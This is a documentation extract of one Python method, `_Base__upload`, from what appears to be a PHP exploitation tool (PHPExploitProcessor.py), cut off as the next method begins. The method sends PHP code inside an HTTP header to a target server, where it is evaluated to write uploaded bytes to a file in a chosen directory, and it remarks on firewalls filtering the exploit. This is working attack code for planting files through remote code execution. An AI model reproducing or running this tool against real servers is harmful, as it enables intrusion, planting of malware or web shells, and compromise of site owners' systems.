Method _Base__upload

src/PHPExploitProcessor.py:226–269

(self, options: str)

    @brief See base class for details.
    """
    def _Base__upload(self, options: str):
        if len(options) == 0:
            raise CommandException("Specify a file to upload.")
        local_file_path = Path(options)
        if not local_file_path.exists():
            raise CommandException("File does not exist.")
        if not local_file_path.is_file():
            raise CommandException("File is not a file.")

        url = f"{self.host}{self.path}"
        if not self.host.startswith("http"):
            url = "http://" + url
        try:
            if (self.__file_exists(local_file_path.name)):
                choice = input("Override existing file? [y/N] ")
                if not choice.lower().startswith('y'):
                    return

            message = (f"chdir('{self.directory}');"
                       f"$ds=fopen('php://input','rb');"
                       f"if($ds && $fp=fopen('{local_file_path.name}','wb')){{"
                       f"while(!feof($ds)){{fwrite($fp,fread($ds,4096));}}"
                       f"}}else{{"
                       f"header('{self.header}: Fail.');exit();"
                       f"}}header('{self.header}: Done.');exit();")
            print("Uploading file...")
            binary = local_file_path.read_bytes()
            
            response = requests.request(
                self.method,
                url,
                headers={ f"{self.header}": message },
                data=binary
            )
            if not response.ok:
                raise Exception()
            if not self.header in response.headers:
                raise CommandException(
                    f"No message sent back from server, your exploit is "
                    f"probably being filtered by a firewall.")
            
            print(response.headers[self.header])
        except:
            raise CommandException(f"Could not upload file.")
        
    def _Base__rm(self, options: str):
        out = self.__eval(f"$out='File does not exist.';"